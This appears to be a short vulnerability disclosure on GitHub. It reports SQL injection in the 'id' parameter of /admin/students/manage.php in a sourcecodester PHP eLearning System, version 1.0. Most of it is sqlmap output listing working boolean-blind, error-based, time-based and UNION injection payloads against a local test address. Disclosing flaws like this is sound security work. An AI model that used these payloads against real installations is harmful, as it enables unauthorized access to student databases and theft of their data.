anx0ing Create eLearning System-SQL injections.md History

1 contributor

44 lines (18 sloc) | 582 Bytes

eLearning System-SQL injections

Date:

> 2022-10/22

Exploit Author:

> anx0ing@gmail.com

Vendor Homepage:

> https://www.sourcecodester.com

Software Link:

> https://www.sourcecodester.com/php/14787/elearning-system-using-phpmysqli-source-code.html

Version:

> 1.0

/admin/students/manage.php

`id` Parameters have SQL injections

```
/admin/students/manage.php?id=1'
```

SQLMAP Test

```
[15:42:00] [INFO] URI parameter '#1*' is 'MySQL UNION query (random number) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 161 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: http://192.168.0.132:80/elearning/admin/students/manage.php?id=(SELECT (CASE WHEN (1128=1128) THEN '' ELSE
(SELECT 7072 UNION SELECT 5653) END))

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: http://192.168.0.132:80/elearning/admin/students/manage.php?id=(SELECT 9285 FROM(SELECT COUNT(*),CONCAT(0x7
1766b6a71,(SELECT (ELT(9285=9285,1))),0x716a627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: http://192.168.0.132:80/elearning/admin/students/manage.php?id=(CASE WHEN (4947=4947) THEN SLEEP(5) ELSE 49
47 END)

    Type: UNION query
    Title: MySQL UNION query (random number) - 12 columns
    Payload: http://192.168.0.132:80/elearning/admin/students/manage.php?id=-6297 UNION ALL SELECT 4235,4235,4235,4235,4
235,4235,CONCAT(0x71766b6a71,0x7858566a6c67626b6f534c72697a4f6e6d554d6464764f6c4c4d59774a554e68435875615168524a,0x716a62
7071),4235,4235,4235,4235,4235#
---
[15:42:00] [INFO] the back-end DBMS is MySQL
```